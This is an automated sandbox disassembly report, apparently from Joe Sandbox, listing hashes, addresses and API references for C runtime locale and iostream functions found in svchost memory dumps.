Opcode ID: ce9d6a6c4ae7ad4cad46f36c529b998f0c4f4d0d2b5335af0c1cfa65eee930d1
Instruction ID: f94651adacb73137192b449263b9f9026397de2ab736ea2553ecfb95aae9e992
Opcode Fuzzy Hash: ce9d6a6c4ae7ad4cad46f36c529b998f0c4f4d0d2b5335af0c1cfa65eee930d1
Instruction Fuzzy Hash: 49617C32A087428AEB748F19D5802BD7BA1FF54B84F448135CB9EA76A5DF3CE5918740

Function 000000018002E8D0 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021EA9

GetLocaleInfoW.KERNEL32 ref: 000000018002E93C

Part of subcall function 000000018002A738: _invalid_parameter_noinfo.LIBCMT ref: 000000018002A755

GetLocaleInfoW.KERNEL32 ref: 000000018002E985

Part of subcall function 000000018002A738: _invalid_parameter_noinfo.LIBCMT ref: 000000018002A7AE

GetLocaleInfoW.KERNEL32 ref: 000000018002EA4D

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: b109df7a06f1b73e50822ea4cd4161c16819fd6eb6a3ab45bb1d3fdcd145a2b8
Instruction ID: a7670721f0fe8901c979248d0aefdef6d9e949584fd1693bd96e90314e16a752
Opcode Fuzzy Hash: b109df7a06f1b73e50822ea4cd4161c16819fd6eb6a3ab45bb1d3fdcd145a2b8
Instruction Fuzzy Hash: CE61AE322406898AEBB78F11E9403E973A1F389784F44C125EB9E976D5DF38EA59C701

Function 00007FF8B7E6E380 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF8B7E6C40A), ref: 00007FF8B7E6E3F4

Strings

GetLocaleInfoEx, xrefs: 00007FF8B7E6E39C, 00007FF8B7E6E3AD

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 214e729effd5d235f5ada4a9c84f5462c27b1cc6248d9279cf6113d539cc477f
Instruction ID: e6751317fc40cb67c7d3392c736d944d43f6106b15b57c5993888bfd832f9c6a
Opcode Fuzzy Hash: 214e729effd5d235f5ada4a9c84f5462c27b1cc6248d9279cf6113d539cc477f
Instruction Fuzzy Hash: 36018F20B08B8189F7449B4AB4401AEA764BF84FC0F984036EF4E17BB6CE3CE545C380

Function 0000000180024B30 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,0000000180022BBA), ref: 0000000180024BA4

Strings

GetLocaleInfoEx, xrefs: 0000000180024B4C, 0000000180024B5D

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 546b47d6debb943ffce28da8e928aa5adc0a485e31d6328efd969a78817e8b0a
Instruction ID: a2e5611f898a1c729038822201237b335dccd8d4bb92862b7750dcd939f1084e
Opcode Fuzzy Hash: 546b47d6debb943ffce28da8e928aa5adc0a485e31d6328efd969a78817e8b0a
Instruction Fuzzy Hash: AA016232700A8885EB879B56B4407CBA761F78DBD0F59C026FE4947B6ACE38C7498780

Function 00007FF8B7E73F30 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c6b1d3b38c65c30310593b7abf8430b5ae403f1cd0efc586df44f3086c0632
Instruction ID: 283dd7a69f1a54400e52214f560eabd1eada35570e8e11cb6c1bdb39b8a53c39
Opcode Fuzzy Hash: d2c6b1d3b38c65c30310593b7abf8430b5ae403f1cd0efc586df44f3086c0632
Instruction Fuzzy Hash: 4151B022B087D189FB20DB7AA8406AE7BA1BF55BD8F144135EF5C67AA9DE3CD411C700

Function 000000018002AD4C Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c080c3c7a283114aabb1e0f671d99649d48bc7d832a847efd5f77993229a84
Instruction ID: fc241d3b006f510efbeb841cb3cf016389d16561e085057da61ac7af77d530c2
Opcode Fuzzy Hash: 28c080c3c7a283114aabb1e0f671d99649d48bc7d832a847efd5f77993229a84
Instruction Fuzzy Hash: D9510532704B8485FBA29B72A8403DE7BA0F7497D8F148215FE9867B99CF38C645C700

Function 00007FF8B7E77B74 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B6F9

GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E77BDC

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 9eabcc8ea00613c49e73108f18dfbff6ec66dc70cfb2f23587259e7075ef7cff
Instruction ID: dd276bc5660cbddc7503d838c652d89ef23c512f73ba3376faa6d7ea77a6697c
Opcode Fuzzy Hash: 9eabcc8ea00613c49e73108f18dfbff6ec66dc70cfb2f23587259e7075ef7cff
Instruction Fuzzy Hash: B1319131A0878286EB68DB29D4413AD77A1EF5CBC4F448035DB5D972A5DF3CE5518700

Function 000000018002EB18 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021EA9

GetLocaleInfoW.KERNEL32 ref: 000000018002EB80

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: f5db5f6d99761c7782c200520e2111b016c7b32ae2c49291a7c6a22a945a4361
Instruction ID: fd76cd88e4c25d061c4f40dfb6ed058bf6091e65f874934e44a73156054a5d79
Opcode Fuzzy Hash: f5db5f6d99761c7782c200520e2111b016c7b32ae2c49291a7c6a22a945a4361
Instruction Fuzzy Hash: 05316F322046C986EBA7CB25E8413DA73A1F79D7C5F44C525BA4E83686DF38D6598700

Function 00007FF8B7E777C4 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF8B7E77FB3,?,00000000,00000092,?,?,00000000,?,00007FF8B7E6C231), ref: 00007FF8B7E77862

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 74d8c93c592c38ee781fb733346037df5e3e37e13a9719f16f8ed87f21467d37
Instruction ID: 50a6008ded3fd6adc73d4dbf5e49bc4590896a958d1e86f125e2ebf85d624abc
Opcode Fuzzy Hash: 74d8c93c592c38ee781fb733346037df5e3e37e13a9719f16f8ed87f21467d37
Instruction Fuzzy Hash: 7311CD67E187458AEB158F2AD4806AC7BA0EB90FE0F449136C7295B2E0DE7CE5D2C740

Function 000000018002E768 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

EnumSystemLocalesW.KERNEL32(?,?,?,000000018002EF57,?,00000000,00000092,?,?,00000000,?,00000001800229E1), ref: 000000018002E806

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: dea1f34fba694f9e35c70b2d40de1f20358c3681e70ec727cc4255221f325e7e
Instruction ID: 73fb490e156cc03fa5c04d134d3e76125a7562edbad23d0208302d69e3d8eabc
Opcode Fuzzy Hash: dea1f34fba694f9e35c70b2d40de1f20358c3681e70ec727cc4255221f325e7e
Instruction Fuzzy Hash: C211E177A086888AEBA78F25D4403E87BA1F799FE0F44C125EA69433C0DE34C6D9C740

Function 00007FF8B7E77D7C Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

GetLocaleInfoW.KERNEL32(?,?,?,00007FF8B7E77B26), ref: 00007FF8B7E77DB3

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 4b8799ab143b1b1a1ed1376a05b71fc48b413a299cc9b8d26f9c96a535c401e7
Instruction ID: 0ee188f0e250a8fbbd1920ece5ffb76c259ee19af3ed9ec7ca399736abc7fb26
Opcode Fuzzy Hash: 4b8799ab143b1b1a1ed1376a05b71fc48b413a299cc9b8d26f9c96a535c401e7
Instruction Fuzzy Hash: 2B117A32B0835283E7748729A041A7E26A1EF40FE4F144631D72D936E4DF3DD8908700

Function 000000018002ED20 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

GetLocaleInfoW.KERNEL32(?,?,?,000000018002EACA), ref: 000000018002ED57

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 30f47cf63c50c866d6ac06697338424042aa209f3a4a32cd09d4d85d44fe2163
Instruction ID: 7c503f26ffc81f99f787bbc0fe6b3e1a97e16bc10c0758319d3ad969f29ef357
Opcode Fuzzy Hash: 30f47cf63c50c866d6ac06697338424042aa209f3a4a32cd09d4d85d44fe2163
Instruction Fuzzy Hash: FF11593271059883EBF78726E040BDE63A1E7597E4F64C222FA2D477C5EE25CA898700

Function 00007FF8B7E77894 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF8B7E77F6F,?,00000000,00000092,?,?,00000000,?,00007FF8B7E6C231), ref: 00007FF8B7E77912

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: c41fa2111d7f99ffdfa3654bce05d7079b3c161d90ce2f44517ee1d86dc3ba3c
Instruction ID: 470c6bf24bd2460021a602c7095367623c94321dea1f927fa8b3772d091485f0
Opcode Fuzzy Hash: c41fa2111d7f99ffdfa3654bce05d7079b3c161d90ce2f44517ee1d86dc3ba3c
Instruction Fuzzy Hash: E0019E72F0838586F7145B29E4407AD7AA2EF50FE4F458232D7695B6E4DF6CA881C700

Function 000000018002E838 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

EnumSystemLocalesW.KERNEL32(?,?,?,000000018002EF13,?,00000000,00000092,?,?,00000000,?,00000001800229E1), ref: 000000018002E8B6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: db0481ac25637549c7eb6ca5e1886b76e88c715da90feceed148063e9e8e215a
Instruction ID: 926df15fae8554917d196275ccbee34e6a797b705e49f089951dc20618efb055
Opcode Fuzzy Hash: db0481ac25637549c7eb6ca5e1886b76e88c715da90feceed148063e9e8e215a
Instruction Fuzzy Hash: 8A012472B042C886EBA74F16E440BE977A1E749BE4F45C222E6AC072C4CF748A898700

Function 00007FF8B7E6DFEC Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF8B7E6E34F,?,?,?,?,?,?,?,?,00000000,00007FF8B7E76E14), ref: 00007FF8B7E6E03B

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 7477b24aba95e4997181fcc31f9a575adf94b5c7888b4b14ce14628f9ad68af0
Instruction ID: 79017f30c338491e118c2a0477624c3c81f75632647e803dd47dd8e323d92e6f
Opcode Fuzzy Hash: 7477b24aba95e4997181fcc31f9a575adf94b5c7888b4b14ce14628f9ad68af0
Instruction Fuzzy Hash: 5AF01972A08B4186F604DB2DF9915AD6365EF98BC4F549035DB5D97779CE3CE8A0C300

Function 000000018002479C Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,0000000180024AFF,?,?,?,?,?,?,?,?,00000000,000000018002DDB8), ref: 00000001800247EB

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 82e433c225f7e54498ea52b2a808990936417005eaab3437f90c1ae94467b3aa
Instruction ID: 7e3d2725152570bc1d7f3370f05d8b7596630441970ae4b9b37e6eff58c163ce
Opcode Fuzzy Hash: 82e433c225f7e54498ea52b2a808990936417005eaab3437f90c1ae94467b3aa
Instruction Fuzzy Hash: 2AF03C72304B4892E756DB19F8917D93365E79CBC0F54D025FA4993769DE3CC698C340

Function 00000001800066D0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 231COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000679B
std::_Lockit::_Lockit.LIBCPMT ref: 00000001800067C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800067F3
std::_Facet_Register.LIBCPMT ref: 0000000180006872
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000688F

Strings

ios_base::failbit set, xrefs: 00000001800069C1
ios_base::eofbit set, xrefs: 00000001800069C8
ios_base::badbit set, xrefs: 00000001800069B5, 0000000180006A10

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 170a7216e1c2d6f9c69266e84682d3286e50f8122c2816e6452fd3ec2d68088b
Instruction ID: 915ee01665c8660068cb2fc931839726e769ef4129d1954a148a2b5cb7665aa2
Opcode Fuzzy Hash: 170a7216e1c2d6f9c69266e84682d3286e50f8122c2816e6452fd3ec2d68088b
Instruction Fuzzy Hash: 22A1BD32605B8885EBA6CF15E4903EA77A1FB89BC4F14C116EE8D437A5DF39C649C700

Function 00007FF8B7E54110 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 218COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E541E6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E54211
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E5423E
std::_Facet_Register.LIBCPMT ref: 00007FF8B7E542BD
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E542DA

Strings

ios_base::eofbit set, xrefs: 00007FF8B7E54424
